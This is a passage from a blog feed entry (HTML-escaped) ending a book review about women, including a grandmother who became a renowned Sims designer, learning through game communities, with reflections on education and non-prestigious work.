grandmother whose only portal to the outside world was the Internet.&amp;nbsp; When her granddaughter wanted a purple potty in the Sims game they played together, she had to learn how to make one — there weren't any ready-made purple potties available.&amp;nbsp; From there she became a renowned Sims designer and valuable community member as she helped others hone their skills.&lt;br /&gt;&lt;br /&gt;While what these women do may sound simple to technologists, it really does demonstrate the kind of learning that we &lt;i&gt;wish&lt;/i&gt; students would do in the classroom.&amp;nbsp; If only students could find a passion that would drive their desire to gain all the tools needed to solve the problems that mattered to them.&lt;br /&gt;&lt;br /&gt;One of the most interesting takeaways from this book was, for me, the idea that not everyone will have a high prestige job in the knowledge market.&amp;nbsp; That's just not the way the world works - we need service workers just as much as need engineers.&amp;nbsp; But despite the fact that many jobs available may not be considered prestigious, members of society can gain prestige in other ways (even as a world renowned designer in the Sims creation communities).&amp;nbsp; I love that technology can give meaning to the life of anyone who wants to take advantage of it.&lt;br /&gt;&lt;br /&gt;I recommend this book to anyone who wants to think about different models of education and gain insight into how people use games beyond a form of entertainment.&amp;nbsp; The stories of the women they studied are also interesting in themselves.&lt;br /&gt;&lt;!-- BEGIN BHBadge --&gt;&lt;br /&gt;&lt;div class=&quot;bhbadge&quot; id=&quot;bhbadge_Featured&quot;&gt;&lt;a href=&quot;http://www.blogher.com?from=bhfbadge&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://www.blogher.com/files/edbadge_Featured.jpg&quot; border=&quot;0&quot; alt=&quot;Featured on BlogHer.com&quot; title=&quot;Featured on BlogHer.com&quot; width=&quot;120&quot; height=&quot;100&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;!-- END BHBadge --&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-3757277621311557504?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-07-27T11:10:09+00:00</dc:date>
</item>

</rdf:RDF>

